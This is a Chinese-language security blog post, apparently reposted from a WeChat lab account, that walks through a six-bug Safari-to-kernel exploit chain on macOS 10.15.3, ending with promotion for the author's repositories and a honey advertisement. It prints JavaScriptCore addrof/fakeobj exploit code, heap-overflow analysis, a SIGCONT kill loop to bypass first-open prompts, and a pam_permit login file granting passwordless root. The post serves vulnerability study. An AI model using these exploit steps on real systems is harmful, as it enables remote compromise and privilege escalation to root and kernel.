首先,先刺激下某k开头的人,不帮我写文章我就用你之前写的,都一样~
一、漏洞简介
Apple macOS 系统在10.15.3版本存在内核的异常利用,攻击者可以通过Safari的RCE等六个漏洞的利用导致macOS内核特权提升
二、影响范围
macOS 10.15.3且 Safari 版本为15608.5.11
三、复现过程
漏洞分析
苹果存在以下六个漏洞可以链接使用导致内核被破坏
一、通过错误的JavaScriptCore DFG编译器中“ in”运算符的副作用建模在Safari中远程执行代码
在JavaScriptCore中,当使用'in'运算符查询索引属性时,DFG编译器会假定它没有副作用,除非其原型链中没有代理对象可以拦截此操作。javaScriptCore 使用“MayHaveIndexedAccessors”的标志来标记可以拦截此索引属性访问的对象。已为代理对象显式标记此标志。但是,还有另一个可能引起副作用的对象:JSHTMLEmbedElement实现其自己的getOwnPropertySlot()方法。一种使用“ in”运算符触发JavaScript回调(即副作用)的方法是 将<embed>
元素与PDF插件一起使用;当在 embed / object标记的DOM对象上查询任何属性时,它将尝试加载支持的插件,并且在PDF插件的情况下可以调用DOMSubtreeModified事件处理程序,因为它在body元素上使用appendChild方法。
堆栈跟踪
#1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)
#2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)
#3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)
#4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)
#5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)
#6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)
#7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)
#8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)
#9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)
#10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)
#11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)
#12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)
#13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)
#14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)
#15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)
#16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)
#17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)
#18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)
#19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)
#20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
由于原型链中的任何对象均未标记为 “ MayHaveIndexedAccessors”,因此JIT假定对“ in”运算符的这种使用不会 在内部进行任何转换,从而消除了 转换后的数组类型检查。
// In the frame of <iframe src="...pdf"></iframe>
function opt(arr) {
arr[0] = 1.1;
100 in arr; // arr中不存在100,因此检查__proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) //将{}的地址泄漏为双精度值
通过由此构造addrof / fakeobj源码,我们可以使任意 RW原语都可以使用JIT编译的JavaScript函数执行代码。
利用
获取addrof / fakeobj源码后,我们 通过伪造对象将其转换为更稳定的addrof / fakeobj源码
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: (new Int64('0x0108191700000000')).asJSValue(),
butterfly: null,
o: {},
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // 填充偏移量(offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
a:0, b:0, c:0, d:0, e:0, f:0, // 填充偏移量 (offset: 0x48)
identifier: null
}
},
// -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)
strlen_or_id: (new Int64('0x10')).asDouble(), // String.size
target: hostObj // String.data_ptr
}
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier
Function.prototype.toString(fakeHostObj) // function [leaked-structure-id]() { [native code] }
我们通过使伪造的函数对象 fakeHostObj并在其上调用Function.prototype.toString来 泄漏hostObj的结构ID 。函数名称将结构id值反映为UTF-16字符串。泄漏结构ID后,我们将替换hostObj。(思路来源:Yong Wang的Blackhat EU 2019 演讲)
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
现在我们有了fakeHostObj的butterfly point(蝶形指针?)(小K水平有限无法解释这个点,欢迎发[email protected]指正),指向fakeHostObj本身。我们可以使用 addrof / fakeobj源码,而无需再次触发该错误,因此我们可以使用 JSValue或使用fakeHostObj 将其作为double来访问hostObj.o。
使用AttackObj的泄漏结构ID和addrof / fakeobj原语,我们可以 、像下面那样制作对象。
rwObj = {
// rwObj.structureId
// rwObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// fakeRwObj = fakeObj(addressOf(rwObj) + 0x20)
id: leakStructureId.asDouble(), // fakeRwObj.structureId
butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
我们可以使用fakeRwObj获取任意RW原码替换fakeInnerObj的butterfly point并从fakeInnerObj中读取/写入。为了从任意RW原码获取RCE,我们触发了伪函数的JIT编译,泄漏了代码地址,并用我们的shellcode覆盖了它。有时,代码地址泄漏失败是因为我们无法从假数组中读取/写入某些值。在这种情况下,我们尝试通过从指针位置+1读取并移动读取值来近似它。最后,我们将Alert函数的代码指针覆盖到我们的伪函数代码指针,并调用它(带有一些参数)以执行Shellcode。
二、通过didFailProvisionalLoad() 中的符号链接在Safari中启动任意.app
对于file://URL,Safari使用[NSWorkspace selectFile:inFileViewerRootedAtPath:]打开Finder窗口。该函数接受两个参数,并且在大多数情况下,Safari仅使用第一个参数,该参数显示指定文件的包含文件夹。但是,如果改为使用第二个参数,则Finder将启动该文件(如果该文件是可执行文件或应用程序捆绑包)。
在确认指向的路径不是带有.app后缀的应用程序捆绑包--目录之后,Safari使用第二个参数。由于符号链接可以指向应用程序捆绑包,但这不是带有.app后缀的目录。因此,Safari将启动符号链接所指向的应用程序。可以通过发送didFailProvisionalLoad() IPC消息来触发此代码路径。
但是,由于 Seatbelt沙箱的系统调用筛选器,Safari本身无法创建符号链接。因此,我们使用了另一个漏洞,该漏洞提供了root权限的沙盒执行的代码。
三、通过堆溢出在CVM(核心虚拟机)服务中任意执行代码
macOS有一个名为com.apple.cvmsServ的沙盒XPC服务(即CVMServer), 可为各种体系结构编译着色器。它是内置 OpenGL框架的一部分。
对于“消息”字段设置为4的请求,CVMServer解析用户指定的 “框架数据”和“地图”。“地图”数据文件位于 “ /System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps”中,用户指定的第一个%s没有任何过滤器。这样就可以遍历目录了;我们可以使其解析在Safari的沙箱中创建的文件。
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
如果为item_count * 56 + items_offset <= 0x50
,则fread()将 在2 ^ 64附近 接收下溢长度,因此它将成为具有任意长度有效负载的堆溢出。请注意,到达指定文件的末尾时,fread()停止。
通过利用这一点,我们可以覆盖与连接有关的堆对象, 这可以修改下面提到的指针:
case 7: // "message" == 7
v34 = xpc_dictionary_get_uint64(input, "heap_index");
v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size);
if ( v11 )
goto error;
xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4)
{
Pool *pool; // rax
unsigned int v7; // ebx
heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2));
// a1->attachedService is controlled value
pool = a1->attachedService->context->pool_ptr;
v7 = 521;
if ( pool->pointersCount > index )
{
v8 = pool->pointers;
*port = v8[index].port;
*a4 = v8[index].size;
v7 = 0;
}
pthread_mutex_unlock((&server_globals + 2));
return v7;
}
如果“端口”值为0x103(TASK-SELF),则该服务将向客户端授予 CVMServer任务端口 的发送权,该任务端口可用于分配内存并在进程上执行任意代码。为了使v8 [index] .port == 0x103,我们在库区域中搜索了内存,这些内存在整个进程中具有相同的地址。
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
有很多区域具有两个64位整数值0,-1,并且对于rax + 0x38 和X + 0x30,我们发现_xpc_error_termination_imminent
,它是公共 符号,可以满足此条件。由于长度大于2 ^ 64 / 0x10,我们 可以计算点的模逆Y(==0)*0x18+index+0x10 == &0x103
。
由于CVMServer设置了com.apple.security.cs.allow-jit,因此我们可以 使用MAP_JIT标志 调用mmap并调用反射加载程序以在进程上执行dylib文件。我们在CVMServer上运行了以下代码:
// In /var/db/CVMS (writable folder)
char randbuf[0x1000];
sprintf(randbuf, "%lu.app", clock());
symlink(randbuf, "my.app");
//在my.app中创建一个有效的应用程序
创建%lu.app和符号链接my.app之后,我们返回Safari并发送了IPC消息以打开该应用。但是还有另外两个保护措施:隔离检查和首次打开应用程序检查。
四、macOS首次应用程序保护绕过
如果Safari首次尝试执行应用,则如果文件具有名为com.apple.quarantine的属性或等待用户确认 ,则Safari将拒绝其执行。WebProcess创建的所有文件都具有--- com.apple.quarantine 属性,但是,由于我们在CVMServer进程而不是WebProcess中 创建了文件夹,因此我们已经可以绕开它。为了确认用户,macOS首先创建该过程,将其挂起,然后在用户单击Open
按钮后继续该过程。但是发送SIGCONT信号与单击该按钮一样。
因此,在创建my.app之后,我们在CVMServer中连续运行以下代码:
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
注意:这里有个思路是如果apple 恶意程序可以执行第一次绕过可以使用此种方法去进行保护。
五、通过竞争条件导致的任意文件/文件夹权限修改,cfprefsd中的根特权升级
cfprefsd是另一个XPC服务,允许用户创建plist文件。它位于CoreFoundation,可以从大多数非沙箱的过程中获取。由于我们已经获得了普通用户(即 CVMServer)的非沙盒特权,因此如果目标文件夹和文件具有足够的权限位(允许客户端用户写入该文件 ),我们就可以请求它创建plist文件。但是,如果该文件夹不存在,它将以递归方式创建plist文件的文件夹。
这是从CVMServer创建文件夹的代码片段。
_CFPrefsCreatePreferencesDirectory(path) {
for(slice in path.split("/")) {
cur += slice
if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) {
chmod(cur, perm)
chown(cur, client_id, client_group)
} else break
}
}
但是,如果路径指向用户可写目录,则用户可以替换所指向的目录cur
,并将其替换为指向任意文件/文件夹的符号链接。由于cfprefsd具有root特权,因此可以更改 /etc/pam.d 之类的文件夹的所有者。通过更改/etc/pam.d的所有者,我们可以使用以下内容编写/etc/pam.d/login:
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
然后,该login root
命令将为用户提供root shell,而无需任何身份验证。
六、在kextload中使用模块暂存旁路和竞争条件来升级内核特权
kextload是可以在macOS中执行kext(内核扩展)操作的程序之一。通过运行kextload [path of .kext folder]
,root用户可以 从用户模式加载签名的kext。为了防止未签名的或无效的已签名的kext,kextload在IOKitUser包中设置了“ authenticator”回调。不幸的是, kext 的路径是回调的唯一可用资源,因此很难避免竞争条件。为了减轻这种情况,kextload首先将kext文件夹复制到专用空间-/ Library / StagedExtensions中, 由于具有SIP和授权机制,即使具有root特权也无法对其进行修改。
kextload的工作原理如下。如果执行kextload /tmp/A.kext
,则kextload 将原始kext文件夹复制到/Library/StagedExtensions/tmp/[UUID].kext。然后,kextload检查文件夹中所有文件的符号。如果失败,则删除文件夹。成功的话它将文件夹复制到 /Library/StagedExtensions/tmp/A.kext并加载此模块。
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
kextload中的一个问题是可以由root 特权用户终止此过程。值得注意的是,上述复制包括符号链接,稍后将对其进行验证。但是,如果 在验证之前取消kextload进程,则可以在/ Library / StagedExtensions中使用符号链接保留无效的kext 。
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
此后,如果我们使用执行另一个kextload命令 kextload /tmp/[UUID].kext/symlink/B.kext
,则B.kext将被复制到 root用户权限的可写位置(例如/tmp/[UUID'].kext)。
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
复制后,kextload检查它是否位于安全位置,即 /Library/StagedExtensions/*
。我们可以将符号链接临时放置在 /tmp/A.kext处,指向/ Library / StagedExtensions / [有效kext的路径]。验证之后,我们可以将模块二进制文件替换为未签名的内核模块,以执行内核代码。
为了使竞争条件可靠,我们使用sandbox-exec在具有指定后缀的文件访问时停止该程序。
七、下图放出完整利用链
U1S1,这个利用app也是利用无沙箱环境,倒是和前段时间的app中利用思路基本一致,所以可以在以后多留意无沙箱环境 说不定会有意外惊喜
BY THE WAY
重点的事情
---------
文库的一个版本我公开的Github,Gitee上去了,后续我慢慢补齐哈!
https://gitee.com/ZeroSec/zero-group-library
https://github.com/0-sec
https://github.com/0-Xyao/zerowiki
欢迎大家点个star!
ONE MORE THING
懂这个梗的应该会不少人吧,这才是重点
-----------
第一件事情,是我们希望做一个只谈论技术的免费的小圈子,怎么说呢?更加注重干货的分享,更直白面向技术面,当然也是免费的咯。但是我们会对这个圈子做一点稍微严格的准入控制和群内管理,杜绝吹水。这一点希望得到大家的反馈和指导。大家可以留言或者直接找我或者kr0n0s等交流看法。我们希望得到大家的的意见和指教。
另外,乐神牌蜂蜜,支持支持啦~~~重点人家也是帮媳妇卖,我呢,帮帮兄弟水水广告。
----------
本文始发于微信公众号(零组攻防实验室):Macos 10.15.3 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论